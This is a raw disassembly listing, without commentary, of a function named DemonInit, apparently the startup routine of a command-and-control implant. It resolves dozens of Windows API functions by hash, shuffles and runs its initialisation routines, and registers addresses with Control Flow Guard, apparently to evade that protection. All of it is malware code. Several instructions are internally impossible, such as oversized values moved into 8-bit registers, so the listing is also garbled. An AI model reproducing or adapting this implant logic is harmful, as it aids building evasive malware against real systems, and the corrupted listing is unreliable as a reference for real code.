14000fe80DemonInit:
14000fe80push r13
14000fe82xor eax, eax
14000fe84push r12
14000fe86mov r12, rdx
14000fe89push rbp
14000fe8amov rbp, rcx
14000fe8dmov ecx, 71
14000fe92push rdi
14000fe93push rsi
14000fe94lea rsi, [rip+0x142e5]
14000fe9bpush rbx
14000fe9csub rsp, 424
14000fea3lea rdi, [rsp+132]
14000feabrep stosd [rdi], eax
14000feadlea rdi, [rsp+32]
14000feb2mov ecx, 24
14000feb7rep movsd [rdi], [rsi]
14000feb9lea rdi, [rip+0x14540]
14000fec0mov ecx, 2350
14000fec5rep stosb [rdi], al
14000fec7lea rbx, [rip+0x1caa2]
14000fecelea rsi, [rip+0x1bbab]
14000fed5mov r8l, 287
14000fedblea r9, [rip+0x1bc57]
14000fee2mov rdx, rbx
14000fee5mov rcx, rsi
14000fee8mov rax, [0x30]
14000fef1mov [rip+0x14dbe], rax
14000fef8call printf
14000fefdmov ecx, 0x70e61753
14000ff02call LdrModulePeb
14000ff07mov [rip+0x14d30], rax
14000ff0etest rax, rax
14000ff11je 0x1400104b4
14000ff17mov rcx, rax
14000ff1amov edx, 0xfffffffffce76bb6
14000ff1flea rdi, [rsp+32]
14000ff24call LdrFunctionAddr
14000ff29mov rcx, [rip+0x14d0e]
14000ff30mov edx, 0xffffffff9e456a43
14000ff35mov [rip+0x145f8], rax
14000ff3ccall LdrFunctionAddr
14000ff41mov rcx, [rip+0x14cf6]
14000ff48mov edx, 0x3be94c5a
14000ff4dmov [rip+0x145d8], rax
14000ff54call LdrFunctionAddr
14000ff59mov rcx, [rip+0x14cde]
14000ff60mov edx, 0xffffffffaf740371
14000ff65mov [rip+0x145d0], rax
14000ff6ccall LdrFunctionAddr
14000ff71mov rcx, [rip+0x14cc6]
14000ff78mov edx, 0x73a9e4d7
14000ff7dmov [rip+0x145c0], rax
14000ff84call LdrFunctionAddr
14000ff89mov rcx, [rip+0x14cae]
14000ff90mov edx, 0x2f6db5e8
14000ff95mov [rip+0x145b0], rax
14000ff9ccall LdrFunctionAddr
14000ffa1mov rcx, [rip+0x14c96]
14000ffa8mov edx, 0x57c72f
14000ffadmov [rip+0x145b8], rax
14000ffb4call LdrFunctionAddr
14000ffb9mov rcx, [rip+0x14c7e]
14000ffc0mov edx, 0x7f1224f5
14000ffc5mov [rip+0x145a8], rax
14000ffcccall LdrFunctionAddr
14000ffd1mov rcx, [rip+0x14c66]
14000ffd8mov edx, 0x39d7c890
14000ffddmov [rip+0x14570], rax
14000ffe4call LdrFunctionAddr
14000ffe9mov rcx, [rip+0x14c4e]
14000fff0mov edx, 0xdde5cdd
14000fff5mov [rip+0x14560], rax
14000fffccall LdrFunctionAddr
140010001mov rcx, [rip+0x14c36]
140010008mov edx, 0x50ef3c31
14001000dmov [rip+0x14550], rax
140010014call LdrFunctionAddr
140010019mov rcx, [rip+0x14c1e]
140010020mov edx, 0x1877faec
140010025mov [rip+0x14568], rax
14001002ccall LdrFunctionAddr
140010031mov rcx, [rip+0x14c06]
140010038mov edx, 0xffffffffae92028e
14001003dmov [rip+0x14538], rax
140010044call LdrFunctionAddr
140010049mov rcx, [rip+0x14bee]
140010050mov edx, 0x600fe691
140010055mov [rip+0x14530], rax
14001005ccall LdrFunctionAddr
140010061mov rcx, [rip+0x14bd6]
140010068mov edx, 0xffffffffeec188b0
14001006dmov [rip+0x14510], rax
140010074call LdrFunctionAddr
140010079mov rcx, [rip+0x14bbe]
140010080mov edx, 0xffffffffeba8d910
140010085mov [rip+0x14510], rax
14001008ccall LdrFunctionAddr
140010091mov rcx, [rip+0x14ba6]
140010098mov edx, 0x2df06c89
14001009dmov [rip+0x14500], rax
1400100a4call LdrFunctionAddr
1400100a9mov rcx, [rip+0x14b8e]
1400100b0mov edx, 0xffffffffad1b018e
1400100b5mov [rip+0x144f0], rax
1400100bccall LdrFunctionAddr
1400100c1mov rcx, [rip+0x14b76]
1400100c8mov edx, 0x5b56b302
1400100cdmov [rip+0x144e0], rax
1400100d4call LdrFunctionAddr
1400100d9mov rcx, [rip+0x14b5e]
1400100e0mov edx, 0x40d6e69d
1400100e5mov [rip+0x144d0], rax
1400100eccall LdrFunctionAddr
1400100f1mov rcx, [rip+0x14b46]
1400100f8mov edx, 0x28d3233d
1400100fdmov [rip+0x144c0], rax
140010104call LdrFunctionAddr
140010109mov rcx, [rip+0x14b2e]
140010110mov edx, 0xffffffffcb87d8b5
140010115mov [rip+0x14518], rax
14001011ccall LdrFunctionAddr
140010121mov rcx, [rip+0x14b16]
140010128mov edx, 0xc3c03f1
14001012dmov [rip+0x14498], rax
140010134call LdrFunctionAddr
140010139mov rcx, [rip+0x14afe]
140010140mov edx, 0xffffffff946ac239
140010145mov [rip+0x14488], rax
14001014ccall LdrFunctionAddr
140010151mov rcx, [rip+0x14ae6]
140010158mov edx, 0xffffffffa410fb9e
14001015dmov [rip+0x14478], rax
140010164call LdrFunctionAddr
140010169mov rcx, [rip+0x14ace]
140010170mov edx, 0x4b82f718
140010175mov [rip+0x14468], rax
14001017ccall LdrFunctionAddr
140010181mov rcx, [rip+0x14ab6]
140010188mov edx, 0x4ed9dd4f
14001018dmov [rip+0x14470], rax
140010194call LdrFunctionAddr
140010199mov rcx, [rip+0x14a9e]
1400101a0mov edx, 0xffffffff8cdc5dc2
1400101a5mov [rip+0x14450], rax
1400101accall LdrFunctionAddr
1400101b1mov rcx, [rip+0x14a86]
1400101b8mov edx, 0x7bc23928
1400101bdmov [rip+0x14498], rax
1400101c4call LdrFunctionAddr
1400101c9mov rcx, [rip+0x14a6e]
1400101d0mov edx, 0xfffffffff783b8ec
1400101d5mov [rip+0x14488], rax
1400101dccall LdrFunctionAddr
1400101e1mov rcx, [rip+0x14a56]
1400101e8mov edx, 0xa6664b8
1400101edmov [rip+0x14488], rax
1400101f4call LdrFunctionAddr
1400101f9mov rcx, [rip+0x14a3e]
140010200mov edx, 0xffffffff968e0cb1
140010205mov [rip+0x14410], rax
14001020ccall LdrFunctionAddr
140010211mov rcx, [rip+0x14a26]
140010218mov edx, 0xffffffff803347d2
14001021dmov [rip+0x143c8], rax
140010224call LdrFunctionAddr
140010229mov rcx, [rip+0x14a0e]
140010230mov edx, 0x5a4bc3d0
140010235mov [rip+0x143b8], rax
14001023ccall LdrFunctionAddr
140010241mov rcx, [rip+0x149f6]
140010248mov edx, 0xffffffffe43d93e1
14001024dmov [rip+0x143d8], rax
140010254call LdrFunctionAddr
140010259mov rcx, [rip+0x149de]
140010260mov edx, 0x28d3233d
140010265mov [rip+0x143b8], rax
14001026ccall LdrFunctionAddr
140010271mov rcx, [rip+0x149c6]
140010278mov edx, 0x4441d859
14001027dmov [rip+0x143b0], rax
140010284call LdrFunctionAddr
140010289mov rcx, [rip+0x149ae]
140010290mov edx, 0x6d22f884
140010295mov [rip+0x143a8], rax
14001029ccall LdrFunctionAddr
1400102a1mov rcx, [rip+0x14996]
1400102a8mov edx, 0xffffffffffa0bf10
1400102admov [rip+0x14398], rax
1400102b4call LdrFunctionAddr
1400102b9mov rcx, [rip+0x1497e]
1400102c0mov edx, 0xffffffffe8ac0c3c
1400102c5mov [rip+0x14388], rax
1400102cccall LdrFunctionAddr
1400102d1mov rcx, [rip+0x14966]
1400102d8mov edx, 0x5ba11e28
1400102ddmov [rip+0x14388], rax
1400102e4call LdrFunctionAddr
1400102e9mov rcx, [rip+0x1494e]
1400102f0mov edx, 0x78983aed
1400102f5mov [rip+0x143c0], rax
1400102fccall LdrFunctionAddr
140010301mov rcx, [rip+0x14936]
140010308mov edx, 0xffffffff858a32df
14001030dmov [rip+0x143b0], rax
140010314call LdrFunctionAddr
140010319mov rcx, [rip+0x1491e]
140010320mov edx, 0xffffffffaf18cfb0
140010325mov [rip+0x14348], rax
14001032ccall LdrFunctionAddr
140010331mov rcx, [rip+0x14906]
140010338mov edx, 0x350dca99
14001033dmov [rip+0x142f8], rax
140010344call LdrFunctionAddr
140010349mov rcx, [rip+0x148ee]
140010350mov edx, 0xffffffff8e160b23
140010355mov [rip+0x142b0], rax
14001035ccall LdrFunctionAddr
140010361mov rcx, [rip+0x148d6]
140010368mov edx, 0x50e92888
14001036dmov [rip+0x142a0], rax
140010374call LdrFunctionAddr
140010379mov rcx, [rip+0x148be]
140010380mov edx, 0xffffffffccf58808
140010385mov [rip+0x14318], rax
14001038ccall LdrFunctionAddr
140010391mov rcx, [rip+0x148a6]
140010398mov edx, 0xffffffffc3170192
14001039dmov [rip+0x14308], rax
1400103a4call LdrFunctionAddr
1400103a9mov rcx, [rip+0x1488e]
1400103b0mov edx, 0xfffffffffc3a6c2c
1400103b5mov [rip+0x142c8], rax
1400103bccall LdrFunctionAddr
1400103c1mov rcx, [rip+0x14876]
1400103c8mov edx, 0xffffffffa3288103
1400103cdmov [rip+0x142e0], rax
1400103d4call LdrFunctionAddr
1400103d9mov rcx, [rip+0x1485e]
1400103e0mov edx, 0x2802c609
1400103e5mov [rip+0x142a0], rax
1400103eccall LdrFunctionAddr
1400103f1mov rcx, [rip+0x14846]
1400103f8mov edx, 0x6aa412cd
1400103fdmov [rip+0x14290], rax
140010404call LdrFunctionAddr
140010409mov rcx, [rip+0x1482e]
140010410mov edx, 0x10c0e85d
140010415mov [rip+0x14280], rax
14001041ccall LdrFunctionAddr
140010421mov rcx, [rip+0x14816]
140010428mov edx, 0xf371fe4
14001042dmov [rip+0x14298], rax
140010434call LdrFunctionAddr
140010439mov rcx, [rip+0x147fe]
140010440mov edx, 0xfffffffff5a0461b
140010445mov [rip+0x14288], rax
14001044ccall LdrFunctionAddr
140010451mov rcx, [rip+0x147e6]
140010458mov edx, 0xffffffffc85dc9b4
14001045dmov [rip+0x14278], rax
140010464call LdrFunctionAddr
140010469mov rcx, [rip+0x147ce]
140010470mov edx, 0x70c25cd8
140010475mov [rip+0x14268], rax
14001047ccall LdrFunctionAddr
140010481xor r9l, r9l
140010484lea rcx, [rsp+132]
14001048cmov [rsp+132], 284
140010497mov [rip+0x1424e], rax
14001049emov [rip+0x13fb7], r9l
1400104a5call [rip+0x140b9]
1400104abtest eax, eax
1400104adjns 0x1400104c6
1400104afjmp 0x140010584
1400104b4
1400104b4loc_1400104b4:
1400104b4lea r9, [rip+0x1b68d]
1400104bbmov r8l, 361
1400104c1jmp 0x140010bc9
1400104c6
1400104c6loc_1400104c6:
1400104c6mov eax, [rsp+136]
1400104cdcmp eax, 4
1400104d0jbe 0x140010584
1400104d6cmp eax, 5
1400104d9jne 0x1400104f8
1400104dbcmp [rsp+140], 1
1400104e3jne 0x140010584
1400104e9mov [rip+0x13f69], 1
1400104f3jmp 0x140010584
1400104f8
1400104f8loc_1400104f8:
1400104f8cmp eax, 6
1400104fbjne 0x14001055f
1400104fdmov edx, [rsp+140]
140010504test edx, edx
140010506jne 0x14001051a
140010508xor eax, eax
14001050acmp [rsp+414], 1
140010512setne al
140010515add eax, 2
140010518jmp 0x14001057e
14001051a
14001051aloc_14001051a:
14001051acmp edx, 1
14001051djne 0x140010531
14001051fcmp [rsp+414], 1
140010527mov edx, 4
14001052ccmove eax, edx
14001052fjmp 0x14001057e
140010531
140010531loc_140010531:
140010531cmp edx, 2
140010534jne 0x140010548
140010536xor eax, eax
140010538cmp [rsp+414], 1
140010540sete al
140010543add eax, 7
140010546jmp 0x14001057e
140010548
140010548loc_140010548:
140010548cmp edx, 3
14001054bjne 0x140010584
14001054dxor eax, eax
14001054fcmp [rsp+414], 1
140010557setne al
14001055aadd eax, 8
14001055djmp 0x14001057e
14001055f
14001055floc_14001055f:
14001055fcmp eax, 10
140010562jne 0x140010584
140010564cmp [rsp+140], 0
14001056cjne 0x140010584
14001056ecmp [rsp+414], 1
140010576mov edx, 11
14001057bcmovne eax, edx
14001057e
14001057eloc_14001057e:
14001057emov [rip+0x13ed8], eax
140010584
140010584loc_140010584:
140010584mov r9l, [rip+0x13ed1]
14001058bmov r8l, 390
140010591mov rdx, rbx
140010594lea rcx, [rip+0x1b5cb]
14001059bcall printf
1400105a0mov ecx, 0xffffffffadd31df0
1400105a5call LdrModulePeb
1400105aamov [rip+0x14695], rax
1400105b1mov rcx, rax
1400105b4test rax, rax
1400105b7je 0x140010b6e
1400105bdmov edx, 0xffffffffb7072ff1
1400105c2call LdrFunctionAddr
1400105c7mov rcx, [rip+0x14678]
1400105cemov edx, 0x5b6b908a
1400105d3mov [rip+0x1411a], rax
1400105dacall LdrFunctionAddr
1400105dfmov rcx, [rip+0x14660]
1400105e6mov edx, 0xffffffffe857500d
1400105ebmov [rip+0x141ea], rax
1400105f2call LdrFunctionAddr
1400105f7mov rcx, [rip+0x14648]
1400105femov edx, 0x72073b5b
140010603mov [rip+0x1411a], rax
14001060acall LdrFunctionAddr
14001060fmov rcx, [rip+0x14630]
140010616mov edx, 0x1c44e892
14001061bmov [rip+0x14182], rax
140010622call LdrFunctionAddr
140010627mov rcx, [rip+0x14618]
14001062emov edx, 0x32030e92
140010633mov [rip+0x1417a], rax
14001063acall LdrFunctionAddr
14001063fmov rcx, [rip+0x14600]
140010646mov edx, 0x252b157d
14001064bmov [rip+0x1415a], rax
140010652call LdrFunctionAddr
140010657mov rcx, [rip+0x145e8]
14001065emov edx, 0xfffffffff37ac035
140010663mov [rip+0x14092], rax
14001066acall LdrFunctionAddr
14001066fmov rcx, [rip+0x145d0]
140010676mov edx, 0xffffffffb06fa1a8
14001067bmov [rip+0x14082], rax
140010682call LdrFunctionAddr
140010687mov rcx, [rip+0x145b8]
14001068emov edx, 0x43f6e75f
140010693mov [rip+0x14072], rax
14001069acall LdrFunctionAddr
14001069fmov rcx, [rip+0x145a0]
1400106a6mov edx, 0xffffffff9694e9e7
1400106abmov [rip+0x14062], rax
1400106b2call LdrFunctionAddr
1400106b7mov rcx, [rip+0x14588]
1400106bemov edx, 0xfffffffffbaf90cf
1400106c3mov [rip+0x140c2], rax
1400106cacall LdrFunctionAddr
1400106cfmov rcx, [rip+0x14570]
1400106d6mov edx, 0xffffffffa6a2249d
1400106dbmov [rip+0x140da], rax
1400106e2call LdrFunctionAddr
1400106e7mov rcx, [rip+0x14558]
1400106eemov edx, 0x687d2110
1400106f3mov [rip+0x1403a], rax
1400106facall LdrFunctionAddr
1400106ffmov rcx, [rip+0x14540]
140010706mov edx, 0x7b813820
14001070bmov [rip+0x1401a], rax
140010712call LdrFunctionAddr
140010717mov rcx, [rip+0x14528]
14001071emov edx, 0x60afc95d
140010723mov [rip+0x14012], rax
14001072acall LdrFunctionAddr
14001072fmov rcx, [rip+0x14510]
140010736mov edx, 0xffffffffa05e2a83
14001073bmov [rip+0x14002], rax
140010742call LdrFunctionAddr
140010747mov rcx, [rip+0x144f8]
14001074emov edx, 0x11b30049
140010753mov [rip+0x13ff2], rax
14001075acall LdrFunctionAddr
14001075fmov rcx, [rip+0x144e0]
140010766mov edx, 0x7b94a3fe
14001076bmov [rip+0x1426a], rax
140010772call LdrFunctionAddr
140010777mov rcx, [rip+0x144c8]
14001077emov edx, 0xffffffff84d15061
140010783mov [rip+0x14262], rax
14001078acall LdrFunctionAddr
14001078fmov rcx, [rip+0x144b0]
140010796mov edx, 0x5775bd54
14001079bmov [rip+0x13ff2], rax
1400107a2call LdrFunctionAddr
1400107a7mov rcx, [rip+0x14498]
1400107aemov edx, 0x512e1b97
1400107b3mov [rip+0x13f62], rax
1400107bacall LdrFunctionAddr
1400107bfmov rcx, [rip+0x14480]
1400107c6mov edx, 0xffffffffec725c53
1400107cbmov [rip+0x142ca], rax
1400107d2call LdrFunctionAddr
1400107d7mov rcx, [rip+0x14468]
1400107demov edx, 0xffffffffa7c5fd39
1400107e3mov [rip+0x13fb2], rax
1400107eacall LdrFunctionAddr
1400107efmov rcx, [rip+0x14450]
1400107f6mov edx, 0x538852b2
1400107fbmov [rip+0x13fc2], rax
140010802call LdrFunctionAddr
140010807mov rcx, [rip+0x14438]
14001080emov edx, 0xfffffffff3c179ad
140010813mov [rip+0x13fb2], rax
14001081acall LdrFunctionAddr
14001081fmov rcx, [rip+0x14420]
140010826mov edx, 0xffffffffd139cc66
14001082bmov [rip+0x13fa2], rax
140010832call LdrFunctionAddr
140010837mov rcx, [rip+0x14408]
14001083emov edx, 0x14fc3cc2
140010843mov [rip+0x1418a], rax
14001084acall LdrFunctionAddr
14001084fmov rcx, [rip+0x143f0]
140010856mov edx, 0xffffffff99beb7a0
14001085bmov [rip+0x14182], rax
140010862call LdrFunctionAddr
140010867mov rcx, [rip+0x143d8]
14001086emov edx, 0x3c2fba83
140010873mov [rip+0x1417a], rax
14001087acall LdrFunctionAddr
14001087fmov rcx, [rip+0x143c0]
140010886mov edx, 0xffffffffa4e66f3a
14001088bmov [rip+0x141d2], rax
140010892call LdrFunctionAddr
140010897mov rcx, [rip+0x143a8]
14001089emov edx, 0xc2c4270
1400108a3mov [rip+0x141c2], rax
1400108aacall LdrFunctionAddr
1400108afmov rcx, [rip+0x14390]
1400108b6mov edx, 0xffffffff9ab85b1c
1400108bbmov [rip+0x141b2], rax
1400108c2call LdrFunctionAddr
1400108c7mov rcx, [rip+0x14378]
1400108cemov edx, 0xffffffffe620bba8
1400108d3mov [rip+0x141aa], rax
1400108dacall LdrFunctionAddr
1400108dfmov rcx, [rip+0x14360]
1400108e6mov edx, 0x50ac3c84
1400108ebmov [rip+0x1419a], rax
1400108f2call LdrFunctionAddr
1400108f7mov rcx, [rip+0x14348]
1400108femov edx, 0xffffffffd5312e5d
140010903mov [rip+0x13e4a], rax
14001090acall LdrFunctionAddr
14001090fmov rcx, [rip+0x14330]
140010916mov edx, 0x342bd542
14001091bmov [rip+0x13e3a], rax
140010922call LdrFunctionAddr
140010927mov rcx, [rip+0x14318]
14001092emov edx, 0xfffffffff1d207d0
140010933mov [rip+0x13e2a], rax
14001093acall LdrFunctionAddr
14001093fmov rcx, [rip+0x14300]
140010946mov edx, 0x436e4c62
14001094bmov [rip+0x13e1a], rax
140010952call LdrFunctionAddr
140010957mov rcx, [rip+0x142e8]
14001095emov edx, 0x4ad9b11c
140010963mov [rip+0x13e0a], rax
14001096acall LdrFunctionAddr
14001096fmov rcx, [rip+0x142d0]
140010976mov edx, 0x3d54a9f4
14001097bmov [rip+0x13dfa], rax
140010982call LdrFunctionAddr
140010987mov rcx, [rip+0x142b8]
14001098emov edx, 0xfffffffff30aab23
140010993mov [rip+0x13e4a], rax
14001099acall LdrFunctionAddr
14001099fmov rcx, [rip+0x142a0]
1400109a6mov edx, 0xfffffffff67b31a5
1400109abmov [rip+0x13e72], rax
1400109b2call LdrFunctionAddr
1400109b7mov rcx, [rip+0x14288]
1400109bemov edx, 0x3626633c
1400109c3mov [rip+0x13e22], rax
1400109cacall LdrFunctionAddr
1400109cfmov rcx, [rip+0x14270]
1400109d6mov edx, 0x42ade43c
1400109dbmov [rip+0x13e12], rax
1400109e2call LdrFunctionAddr
1400109e7mov rcx, [rip+0x14258]
1400109eemov edx, 0x7a047cab
1400109f3mov [rip+0x13e32], rax
1400109facall LdrFunctionAddr
1400109ffmov rcx, [rip+0x14240]
140010a06mov edx, 0x77b0aa6a
140010a0bmov [rip+0x13e22], rax
140010a12call LdrFunctionAddr
140010a17mov rcx, [rip+0x14228]
140010a1emov edx, 0xffffffffb6af709f
140010a23mov [rip+0x13e12], rax
140010a2acall LdrFunctionAddr
140010a2fmov rcx, [rip+0x14210]
140010a36mov edx, 0xffffffff99bee22f
140010a3bmov [rip+0x13dc2], rax
140010a42call LdrFunctionAddr
140010a47mov rcx, [rip+0x141f8]
140010a4emov edx, 0xffffffffb717be65
140010a53mov [rip+0x13da2], rax
140010a5acall LdrFunctionAddr
140010a5fmov rcx, [rip+0x141e0]
140010a66mov edx, 0x39e8f317
140010a6bmov [rip+0x13d9a], rax
140010a72call LdrFunctionAddr
140010a77mov rcx, [rip+0x141c8]
140010a7emov edx, 0xffffffffcf2ad680
140010a83mov [rip+0x13dd2], rax
140010a8acall LdrFunctionAddr
140010a8fmov rcx, [rip+0x141b0]
140010a96mov edx, 0x40750b38
140010a9bmov [rip+0x13da2], rax
140010aa2call LdrFunctionAddr
140010aa7mov rcx, [rip+0x14198]
140010aaemov edx, 0xc993b9c
140010ab3mov [rip+0x13d92], rax
140010abacall LdrFunctionAddr
140010abfmov rcx, [rip+0x14180]
140010ac6mov edx, 0xffffffffd908e1d8
140010acbmov [rip+0x13d82], rax
140010ad2call LdrFunctionAddr
140010ad7mov rcx, [rip+0x14168]
140010ademov edx, 0x7a14b61c
140010ae3mov [rip+0x13d7a], rax
140010aeacall LdrFunctionAddr
140010aefmov rcx, [rip+0x14150]
140010af6mov edx, 0x71842fbf
140010afbmov [rip+0x13d6a], rax
140010b02call LdrFunctionAddr
140010b07mov rcx, [rip+0x14138]
140010b0emov edx, 0xffffffff95f45a6c
140010b13mov [rip+0x13d5a], rax
140010b1acall LdrFunctionAddr
140010b1fmov rcx, [rip+0x14120]
140010b26mov edx, 0x3f9eed0d
140010b2bmov [rip+0x13d4a], rax
140010b32call LdrFunctionAddr
140010b37mov rcx, [rip+0x14108]
140010b3emov edx, 0x271da464
140010b43mov [rip+0x13d3a], rax
140010b4acall LdrFunctionAddr
140010b4fmov rcx, [rip+0x140f0]
140010b56mov edx, 0x47886698
140010b5bmov [rip+0x13d2a], rax
140010b62call LdrFunctionAddr
140010b67mov [rip+0x13d26], rax
140010b6e
140010b6eloc_140010b6e:
140010b6ecall DemonConfig
140010b73cmp [rip+0x13960], 0
140010b7aje 0x140010ba4
140010b7cmov rcx, [rip+0x140bb]
140010b83call SysInitialize
140010b88test eax, eax
140010b8ajne 0x140010ba4
140010b8clea r9, [rip+0x1aff2]
140010b93mov r8l, 466
140010b99mov rdx, rbx
140010b9cmov rcx, rsi
140010b9fcall printf
140010ba4
140010ba4loc_140010ba4:
140010ba4mov edx, 12
140010ba9mov rcx, rdi
140010bacxor r13l, r13l
140010bafcall ShuffleArray
140010bb4
140010bb4loc_140010bb4:
140010bb4call [rdi+8*r13]
140010bb8test eax, eax
140010bbajne 0x140010bd9
140010bbclea r9, [rip+0x1afe0]
140010bc3mov r8l, 479
140010bc9
140010bc9loc_140010bc9:
140010bc9mov rdx, rbx
140010bccmov rcx, rsi
140010bcfcall printf
140010bd4jmp 0x140010db1
140010bd9
140010bd9loc_140010bd9:
140010bd9inc r13
140010bdccmp r13, 12
140010be0jne 0x140010bb4
140010be2test r12, r12
140010be5jne 0x140010c1b
140010be7mov [rip+0x1383e], rbp
140010beetest rbp, rbp
140010bf1jne 0x140010c01
140010bf3xor ecx, ecx
140010bf5call LdrModulePeb
140010bfamov [rip+0x1382b], rax
140010c01
140010c01loc_140010c01:
140010c01mov rax, [rip+0x13824]
140010c08test rax, rax
140010c0bje 0x140010c1b
140010c0dmovsxd rdx, [rax+60]
140010c11mov eax, [rax+rdx+80]
140010c15mov [rip+0x13819], eax
140010c1b
140010c1bloc_140010c1b:
140010c1bmov rax, [rip+0x14094]
140010c22mov [rip+0x1382c], 0x90009
140010c2cmov rdx, [rax+64]
140010c30mov rax, [rax+72]
140010c34mov [rip+0x13816], eax
140010c3axor eax, eax
140010c3cmov [rip+0x1380a], edx
140010c42mov [rip+0x13800], eax
140010c48call RandomNumber32
140010c4dxor r8l, r8l
140010c50xor edx, edx
140010c52xor ecx, ecx
140010c54mov [rip+0x137ea], eax
140010c5amov [rip+0x138bb], rdx
140010c61mov [rip+0x138bc], rdx
140010c68mov [rip+0x14073], rdx
140010c6fmov [rip+0x1407d], ecx
140010c75mov [rip+0x14082], r8
140010c7cmov [rip+0x14083], r8
140010c83mov [rip+0x1408c], r8
140010c8amov [rip+0x14095], r8
140010c91mov [rip+0x1402a], r8
140010c98mov [rip+0x1403b], r8
140010c9fcall CfgQueryEnforced
140010ca4test eax, eax
140010ca6je 0x140010d95
140010caclea r9, [rip+0x1af08]
140010cb3mov r8l, 546
140010cb9mov rdx, rbx
140010cbcmov rcx, rsi
140010cbfcall printf
140010cc4mov rdx, [rip+0x139e9]
140010ccbmov rcx, [rip+0x13f6c]
140010cd2call CfgAddressAdd
140010cd7mov rdx, [rip+0x13976]
140010cdemov rcx, [rip+0x13f59]
140010ce5call CfgAddressAdd
140010ceamov rdx, [rip+0x1395b]
140010cf1mov rcx, [rip+0x13f46]
140010cf8call CfgAddressAdd
140010cfdmov rdx, [rip+0x13c58]
140010d04mov rcx, [rip+0x13f43]
140010d0bcall CfgAddressAdd
140010d10mov rdx, [rip+0x13d85]
140010d17mov rcx, [rip+0x13f28]
140010d1ecall CfgAddressAdd
140010d23mov rdx, [rip+0x139fa]
140010d2amov rcx, [rip+0x13f15]
140010d31call CfgAddressAdd
140010d36mov rdx, [rip+0x1388f]
140010d3dmov rcx, [rip+0x13efa]
140010d44call CfgAddressAdd
140010d49mov rdx, [rip+0x13924]
140010d50mov rcx, [rip+0x13ee7]
140010d57call CfgAddressAdd
140010d5cmov rdx, [rip+0x13909]
140010d63mov rcx, [rip+0x13ed4]
140010d6acall CfgAddressAdd
140010d6fmov rdx, [rip+0x1392e]
140010d76mov rcx, [rip+0x13ec1]
140010d7dcall CfgAddressAdd
140010d82mov rdx, [rip+0x137e3]
140010d89mov rcx, [rip+0x13eae]
140010d90call CfgAddressAdd
140010d95
140010d95loc_140010d95:
140010d95mov r9l, [rip+0x136a8]
140010d9cmov r8l, 566
140010da2mov rdx, rbx
140010da5lea rcx, [rip+0x1ae4a]
140010daccall printf
140010db1
140010db1loc_140010db1:
140010db1add rsp, 424
140010db8pop rbx
140010db9pop rsi
140010dbapop rdi
140010dbbpop rbp
140010dbcpop r12
140010dbepop r13
140010dc0ret
14000fe80